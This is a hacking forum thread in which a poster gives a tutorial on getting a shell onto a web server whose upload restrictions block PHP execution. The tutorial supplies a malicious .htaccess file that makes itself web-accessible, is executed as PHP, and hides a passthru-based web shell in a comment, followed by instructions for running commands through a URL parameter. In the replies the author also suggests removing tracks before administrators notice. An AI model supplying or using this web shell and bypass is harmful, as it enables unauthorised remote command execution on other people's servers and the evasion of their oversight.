[sp3ctrum]

[0x01] Intro:
Sup HF, today I will be discussing a little old trick that helped me accomplish helping another member with getting a shell up on a server. I'm sure many of you have heard of using .htaccess as a backdoor, why this may be useful in some cases we can extend this further than just a backdoor. Say we cant upload php files to our victim (implying that the back-end supports php) or for say SetHandler or FilesMatch is being used and our php files that we successfully uploaded are not being executed. Well CGI shell ftw? Meh what if that doesn't work. We can fall back on diverting the default apache .htaccess access restrictions from within a custom .htaccess file being treated as a dynamic content script and accessed through a url. :3 Possible? Yes quite possible due to apache processing apache config directives before our custom .htaccess file is processed via a web request. Let us remember though that in-order for this to occur we need to comment out our payload (shell, etc..) at the start so apache doesn't interpret it and carry on with ignoring directives.

[0x02] The Attack:
Okay so lets say we just gained access to either an upload form or admin panel, etc.. and you begin to upload your shell (test.php) After uploading we see that our file was indeed uploaded but failed to execute due to restrictions set in the default .htaccess file. Could be the php engine off, FilesMatch, whatever, but for our lab we are just using a simple Files regex. Shown below.





[*] What Next?
Okay so props to the admin for at least going that far and not being a total idiot, but we can so easily bypass this in many circumstances. Next we are going to try and divert the default .htaccess and upload our custom .htaccess with malicious code between comments to the server. Here is the example im using, yes this isn't stealthy at all but for those who get php you can amp this little shell up a bit and get rid of the GET request and such. Next upload as ".htaccess"

Code

<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

AddType application/x-httpd-php .htaccess

# <?php echo "";echo"";passthru($_GET['cmd']." 2>&1"); ?>#

[*] Code Explanation:
The first part of the code between the <Files> tags simply just Overrides the default deny rule and makes the .htaccess file accessible over a URL. The line after makes the file interpreted as a php file. And of course the last line between the comments is our php code for our shell.

[*] RCE Goodness:
Okay so after uploading we need to see if our bypass was a success. Type in the URL of where your .htaccess file was uploaded and call ?cmd= with your command after. Shown below also.


SUCCESS!!

[0x03] Conclusion:
Now we have the right to run commands on the server, do as you please. Hope some members enjoyed this neat little trick just as much as I do. Thanks for viewing, and for more fun with .htaccess shells, wireghoul has a very nice project started with tons of .htaccess shells that just abuse mods everywhere:3

HTSHELLS PROJECT: https://github.com/wireghoul/htshells

Regards,Klimax

[Reminance]

Wow, havent thought about this.
Good job.

[jamie45]

Neat trick. Thanks for the tutorial, appreciated

[ℛℛℛoooℛℛℛ]

This is a good trick but if they look at the .htaccess file, they are going to see something out of the ordinary, unless they dismiss it as something that was there before.

-Chosen-

[sp3ctrum]

Thanks for the feedback Reminance & jamie45.

This is a good trick but if they look at the .htaccess file, they are going to see something out of the ordinary, unless they dismiss it as something that was there before.

-Chosen-

True, lets just hope everyone can get their own shell up in a new directory and remove their tracks before any admin has a chance to review the htaccess file.

[SIM-1241186]

Excellent share. I didn't include this in my shell uploading tutorial which extensively covers many methods. So this is a nice addition to the forum. Good work 🤝

[133720]

NIce Sharing bro.
I read it get little knowledge from you.

[sp3ctrum]

Thanks for the positive feedback guys.

@hackforumspang: Your welcome to reference my tutorial in your thread if you want :3

[KevinMitnicK1]

Thank youKlimax
i havent thought about this
v.good job

[Toasties]

Thank you for you very informative post. Learnt something new, cheers.

[Th3PonyWizard]

Wait, are you sp3c? Pls tell me it's you >_>

[Zabuza]

Very interesting tutorial. Thank you.

[ayushanand]

NICE TUTORIAL .....
THANK YOU FOR THIS OUTSTANDING TUTORIAL ...
KEEP POSTING FOR US .

[sp3ctrum]

Wait, are you sp3c? Pls tell me it's you >_>

Yes Pony it is I :3 Been a while my friend </3

[Th3PonyWizard]

Yes Pony it is I :3 Been a while my friend </3

Holy fuck man, you're old. How have you been? <3
Heard some bad shit over what happened with Digi7al. I'll drag you over Pernicious asap